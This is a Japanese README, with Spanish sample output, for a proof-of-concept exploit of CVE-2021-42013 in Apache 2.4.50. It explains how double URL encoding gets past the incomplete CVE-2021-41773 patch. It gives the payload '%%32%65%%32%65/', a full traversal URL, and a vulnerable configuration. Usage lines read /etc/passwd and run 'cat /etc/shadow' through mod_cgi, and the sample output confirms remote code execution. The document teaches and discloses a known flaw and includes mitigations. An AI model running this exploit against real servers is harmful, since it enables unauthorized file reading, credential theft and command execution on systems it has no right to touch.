
CVE-2021-42013 の概念実証エクスプロイト。Apache 2.4.50 において、CVE-2021-41773 パッチを二重 URL エンコーディングでバイパスし、パストラバーサルおよびリモートコード実行を実証します。
管理下の自身の環境でのみ使用すること。許可なくシステムに対して使用しないでください。
CVE-2021-42013 を実証するために開発された PoC。この脆弱性は Apache HTTP Server 2.4.50 に存在します。
この CVE は、Apache が CVE-2021-41773 に対して公開したパッチの回避策です。バージョン 2.4.50 は、以前のパストラバーサルを修正するために、.%2e および %2e. というシーケンスを拒否する検証を追加しました。しかし、その検証は不十分でした。ダブル URL エンコーディング によって同じ結果が得られる可能性を考慮しておらず、同じ攻撃面が露出したままになりました。
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| 影響を受けるバージョン | Apache 2.4.49 | Apache 2.4.50 |
| 使用されるエンコーディング | .%2e/ | %%32%65%%32%65/ |
| メカニズム | シングルエンコーディング | ダブルエンコーディング(パッチ回避) |
| RCE の可能性 | あり(mod_cgi 使用時) | あり(mod_cgi 使用時) |
| 修正バージョン | 2.4.50(不完全なパッチ) | 2.4.51 |
Apache 2.4.50 のパッチは、ap_normalize_path() にリクエストパス内で文字通り .%2e および %2e. シーケンスを検索する検証を追加しました。見つかった場合、リクエストを 400 または 403 で拒否しました。
問題:この検証は、2 回目の URL デコードパスの前 に文字列に対して実行されました。ペイロードが二重エンコードされている場合、検証は禁止シーケンスを見つけられません。なぜならまだデコードされていないからです。そして、ファイルシステムのパスを解決するために最終的にデコードされたときには、../ がすでに存在し、トラバーサルが発生していました。
ペイロード: %%32%65%%32%65/
2.4.50 の検索対象: .%2e → 見つからない → 通過
1 回目のデコード: %%32%65%%32%65/ → %2e%2e/
2 回目のデコード: %2e%2e/ → ../
結果: トラバーサル成功
実際の修正は 2.4.51 で行われ、Apache は正規化ロジックを書き換え、セキュリティ検証を適用する前にパスを完全に解決するようにしました。
%%32%65 は . の二重エンコード表現です。
. → %2e (標準エンコーディング)
% → %25 (% 記号のエンコーディング)
2 → %32 (文字 '2' のエンコーディング)
e → %65 (文字 'e' のエンコーディング)
したがって、% がエンコードされ、16進文字がエンコードされた %2e は %%32%65 になります。
%%32%65 を 1 回デコードすると %2e になります。2 回デコードすると . になります。
| 条件 | 詳細 |
|---|---|
| Apache のバージョン | 厳密に 2.4.50 |
| アクセスディレクティブ | 公開されたディレクトリに Require all granted |
| CGI モジュール | mod_cgi が有効(RCE の場合のみ) |
# 脆弱な設定の Apache 2.4.50 イメージ
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
または、Apache 2.4.50 を手動で設定し、httpd.conf に以下の設定を追加:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <コマンド>]
# /etc/passwd を読む
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# id を実行
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# スペースを含むコマンド
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 以上にアップデートする。Require all denied をデフォルト値として維持する。mod_cgi を無効にする。この PoC は、攻撃的セキュリティポートフォリオのための教育目的で開発されました。
| 引数 | 必須 | 説明 |
|---|
--target | はい | サーバーのベースURL(例: http://localhost:8080) |
--mode | はい | traversal でファイル読み取り、rce でコマンド実行 |
--cmd | いいえ | rce モードで実行するコマンド(デフォルト: id) |